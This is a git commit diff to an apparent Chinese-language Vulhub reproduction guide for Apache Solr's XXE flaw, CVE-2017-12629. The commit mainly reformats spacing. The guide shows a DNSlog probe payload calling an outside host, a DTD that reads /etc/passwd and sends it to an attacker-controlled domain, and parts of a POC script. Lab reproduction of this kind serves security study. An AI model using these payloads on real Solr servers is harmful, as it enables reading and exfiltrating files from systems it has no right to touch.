fix incorrect version

This commit is contained in:
Threekiii committed 2026-01-12 15:50:08 +08:00
1 parent 58cde1eb40
commit f24ca892fe
1 file changed
+11 -14
@@ -7,32 +7,32 @@
- https://www.exploit-db.com/exploits/43009/
- https://paper.seebug.org/425/
Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。此次7.1.0之前版本总共爆出两个漏洞:XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE),二者可以连接成利用链,编号均为CVE-2017-12629。
Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过 Http 利用 XML 加到一个搜索集合中。查询该集合也是通过 http 收到一个 XML/JSON 响应来实现。此次 7.1.0 之前版本总共爆出两个漏洞:XML 实体扩展漏洞(XXE)和远程命令执行漏洞(RCE),二者可以连接成利用链,编号均为 CVE-2017-12629。
本环境仅测试XXE漏洞,RCE和利用链,可以在 https://github.com/vulhub/vulhub/tree/master/solr/CVE-2017-12629-RCE 中查看。
本环境仅测试 XXE 漏洞,RCE 和利用链,可以在 https://github.com/vulhub/vulhub/tree/master/solr/CVE-2017-12629-RCE 中查看。
## 漏洞影响
```
Apache Solr < 7.1
Apache Lucene < 7.
Apache Lucene < 7.1
```
## 环境搭建
Vulhub运行漏洞环境:
Vulhub 运行漏洞环境:
```
docker-compose up -d
```
命令执行成功后,需要等待一会,之后访问`http://your-ip:8983/`即可查看到Apache solr的管理页面,无需登录。
命令执行成功后,需要等待一会,之后访问 `http://your-ip:8983/` 即可查看到 Apache solr 的管理页面,无需登录。
![image-20220301105333970](images/202203011053067.png)
## 漏洞复现
先请求url地址获取 cores 内容:
先请求 url 地址获取 cores 内容:
```
http://your-ip:8983/solr/admin/cores
@@ -40,9 +40,7 @@ http://your-ip:8983/solr/admin/cores
![image-20220301105955851](images/202203011059940.png)
访问dnslog,验证漏洞是否存在(注意这里的`demo`是从上一步中得到的):
访问 dnslog,验证漏洞是否存在(注意这里的 `demo` 是从上一步中得到的):
```plain
http://your-ip:8983/solr/demo/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://xxxxx.ceye.io"><a></a>'}&wt=xml
@@ -50,11 +48,11 @@ http://your-ip:8983/solr/demo/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http:/
![image-20220301110437717](images/202203011104795.png)
查看dnslog得到请求,漏洞存在:
查看 dnslog 得到请求,漏洞存在:
![image-20220301110501757](images/202203011105791.png)
在自己的服务器上写入一个可访问的XML文件solr_xxe.dtd,内容写入:
在自己的服务器上写入一个可访问的 XML 文件 solr_xxe.dtd,内容写入:
```xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
@@ -72,9 +70,9 @@ http://your-ip:8983/solr/demo/select?&q=%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!
![image-20220301110950324](images/202203011109416.png)
注意这里的payload进行了url编码,请求的文件为`http://your.domain/solr_xxe.dtd`,有更多需求自行更改写入的xml文件。
注意这里的 payload 进行了 url 编码,请求的文件为 `http://your.domain/solr_xxe.dtd`,有更多需求自行更改写入的 xml 文件。
## 漏洞POC
## 漏洞 POC
```
# solr_xxe.dtd
@@ -142,4 +140,3 @@ if __name__ == '__main__':
```
![image-20220210161443057](images/202203011056712.png)